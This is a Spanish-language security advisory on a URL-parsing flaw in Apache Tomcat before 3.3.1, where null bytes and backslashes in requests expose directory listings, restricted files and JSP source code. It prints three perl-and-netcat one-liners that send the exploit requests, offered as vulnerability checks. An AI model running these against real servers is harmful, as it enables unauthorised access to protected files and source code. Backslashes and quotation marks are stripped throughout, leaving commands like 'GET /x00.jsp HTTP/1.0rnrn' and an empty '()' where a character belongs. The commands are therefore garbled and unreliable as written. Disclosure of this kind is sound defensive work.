Vulnerabilidad en el análisis de URL en Apache Tomcat

Apache Tomcat es un contenedor de servelts utilizado como implementación de referencia de las tecnologías de servlets Java y JSP (JavaServer Pages).

Apache Tomcat es un contenedor de servelts utilizado como implementación de referencia de las tecnologías de servlets Java y JSP (JavaServer Pages). Tomcat puede funcionar como servidor web independiente o bien integrado dentro de otros servidores web como el propio Apache, Netscape o incluso IIS. Existen actualmente varias ramas de desarrollo, siendo la versión 3.3.x la que se aconseja utilizar en entornos de producción, al ser la más estable.

Se ha descubierto la existencia de dos vulnerabilidades en las versiones anteriores a la 3.3.1 que pueden ser utilizadas por un atacante remoto para visualizar el contenido de directorios (independientemente de la existencia de un archivo índice) así como la visualización del contenido de archivos y directorios cuyo acceso en teoría está restringido. También puede utilizarse la vulnerabilidad para obtener el código fuente de los archivos JSP.

La vulnerabilidad radica en las comprobaciones que realiza Tomcat en las peticiones HTTP para determinar la posible existencia de caracteres nulos o barras invertidas (), lo que puede ser aprovechado por el atacante para saltarse los mecanismos de restricción de acceso y la protección del código fuente de los archivos JSP.

Una forma fácil de verificar si un servidor es vulnerable consiste en ejecutar esta orden, utilizando perl y netcat

$ perl -e print GET /x00.jsp HTTP/1.0rnrn; | nc servidor_web 8080

Si el servidor Tomcat es vulnerable, como resultado de esta petición obtendremos un listado de todos los archivos existentes en el directorio raíz del servidor (independientemente de la existencia de un archivo índice en dicho directorio).

El acceso a los archivos restringidos puede verificarse mediante

$ perl -e print GET /admin/WEB-INF\classes/ContextAdmin.javax00.jsp HTTP/1.0rnrn; | nc servidor_web 8080

(escribir la orden en una única línea).

Como respuesta a esta petición, el servidor web devolverá el contenido del archivo ContextAdmin.java

En lo que se refieren a la obtención del código fuente de los archivos JSP

$ perl -e print GET /examples/jsp/cal/cal1.jspx00.html HTTP/1.0rnrn; | nc servidor_web 8080

(escribir la orden en una única línea).

visualiza el código fuente del archivo cal1.jsp, uno de los ejemplos incluidos en la distribución de Tomcat.

Como puede observarse con los ejemplos incluidos, es realmente una tarea trivial aprovecharse de esta vulnerabilidad. Por tanto, conviene actualizar lo antes posible cualquier versión anterior de Tomcat 3.3.x a la nueva versión 3.3.1a.